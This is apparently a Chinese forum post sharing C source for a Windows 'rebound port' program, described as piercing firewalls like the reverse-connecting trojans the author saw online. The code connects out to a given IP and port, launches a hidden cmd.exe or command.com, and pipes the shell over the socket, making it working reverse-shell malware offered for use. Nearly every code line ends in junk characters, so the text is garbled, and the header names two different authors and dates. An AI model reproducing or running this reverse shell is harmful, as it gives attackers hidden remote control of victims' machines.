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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z 5)_B,E:X  
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/* ============================== Ed^uA+D  
Rebound port in Windows NT qQxA@kdd  
By wind,2006/7 << ;HY}s  
===============================*/ 7{An@hNh  
#include LZc$:<J<6  
#include lTr*'fX  
.-KtB(t  
#pragma comment(lib,"wsock32.lib") ]KXMGH_  
8L -4}!~C  
void OutputShell(); =%3b@}%HqS  
SOCKET sClient; `e $n$Bh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~3bZ+*H>  
45+%K@@x  
void main(int argc,char **argv) 2\nN4WL 5.  
{ )jlP cO-  
WSADATA stWsaData; x9)aBB  
int nRet; 3xzkZ8]/  
SOCKADDR_IN stSaiClient,stSaiServer; k]Alp;hVd  
%h"qMs S  
if(argc != 3) GjeUUmr  
{ Cx+WLD  
printf("Useage:\n\rRebound DestIP DestPort\n"); `D)Lzm R  
return; ,]Ro',A&  
} }{5mH:  
jWXR__>.  
WSAStartup(MAKEWORD(2,2),&stWsaData); %0yS98']g  
^}o7*   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %-# q O  
;Rhb@]X  
stSaiClient.sin_family = AF_INET; dCZ\ S91q  
stSaiClient.sin_port = htons(0); @GG(7r\/B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V\6(d  
<8rgtu!VU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?Ml%$z@b?  
{ h@~:(:zU$  
printf("Bind Socket Failed!\n"); H\fcY p6  
return; Sk/#J!T8{  
} (S  k#x  
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stSaiServer.sin_family = AF_INET; @8=vFP'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g@@&sB-A"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l]_b;iux  
gwSN>oj &  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Fv/oY  
{ 0%s3Mp6H  
printf("Connect Error!"); q]6_ rY.  
return; I#U>5"%\a  
} [dj5 $l|  
OutputShell(); u R\m`  
} rQ    
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void OutputShell() Mlv<r=E  
{ }xDB ~k  
char szBuff[1024]; ~{kM5:-iw  
SECURITY_ATTRIBUTES stSecurityAttributes; A3AP51 !  
OSVERSIONINFO stOsversionInfo; Mo}H_8y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @iU%`=ziz  
STARTUPINFO stStartupInfo; .3VK;au\\  
char *szShell; #>8T*B  
PROCESS_INFORMATION stProcessInformation; r8uqcKfU  
unsigned long lBytesRead; PSTu/^  
'h-3V8m^e  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J=UZ){c>:.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oi2J :Y4  
stSecurityAttributes.lpSecurityDescriptor = 0;  YywEZ?X  
stSecurityAttributes.bInheritHandle = TRUE; j2|XD Of  
E: 9o;JU  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?ork^4 $s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cYGRy,'gH  
1~%o}+#-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,e9CJ~a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u8Y~_)\MA  
stStartupInfo.wShowWindow = SW_HIDE; NSw<t9Yi  
stStartupInfo.hStdInput = hReadPipe; XQ]`&w(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #gh p/YoTq  
ngP7'1I  
GetVersionEx(&stOsversionInfo); _6;<ow  
*B0V<mV  
switch(stOsversionInfo.dwPlatformId) </.z1 $  
{ NuU'0_")/  
case 1: _u> t3RUA  
szShell = "command.com"; f1A_`$>  
break; ZP"yq6!i  
default: ]Ap`   
szShell = "cmd.exe"; !#q{Z>H`  
break; hM~eJv  
} BBcj=]"_  
EMLx?JnP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); osl=[pm  
QwBXlO?  
send(sClient,szMsg,77,0); +p3 Z#KoC  
while(1) /Zc#j^_  
{ lLH$`Wnv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zK=dzoy  
if(lBytesRead) ITONpg[f  
{ 3[VWTq)D=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [*<.?9n)or  
send(sClient,szBuff,lBytesRead,0); (vKI1^,  
} A8J8u,u9  
else $,TGP+vH  
{ :/B:FY=  
lBytesRead=recv(sClient,szBuff,1024,0); *ksb?|<Ot  
if(lBytesRead<=0) break; &.zj5*J  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Yv^p =-E  
} Gz ?2b#7v  
} *vYn_wE  
MSl&?}Bj  
return; <"?*zx&  
}
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